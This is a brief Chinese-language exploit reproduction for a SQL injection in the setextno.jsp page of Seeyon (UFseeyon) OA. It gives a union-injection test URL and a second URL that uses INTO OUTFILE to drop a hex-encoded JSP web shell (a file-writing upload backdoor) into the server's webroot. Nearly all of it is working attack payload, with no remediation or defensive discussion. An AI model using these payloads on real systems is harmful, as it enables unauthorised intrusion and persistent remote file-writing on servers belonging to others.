## 漏洞复现

访问如下Url，其中含有 union注入

```
http://xxx.xxx.xxx.xxx/yyoa/ext/trafaxserver/ExtnoManage/setextno.jsp?user_ids=(99999) union all select 1,2,(md5(1)),4# 
```

写入文件上传木马

```
http://xxx.xxx.xxx/yyoa/ext/trafaxserver/ExtnoManage/setextno.jsp?user_ids=(99999) union all select 1,2,(select unhex('3C25696628726571756573742E676574506172616D657465722822662229213D6E756C6C29286E6577206A6176612E696F2E46696C654F757470757453747265616D286170706C69636174696F6E2E6765745265616C5061746828225C22292B726571756573742E676574506172616D65746572282266222929292E777269746528726571756573742E676574506172616D6574657228227422292E67657442797465732829293B253E')  into outfile 'D:/Program Files/UFseeyon/OA/tomcat/webapps/yyoa/peiqi_upload.jsp'),4#
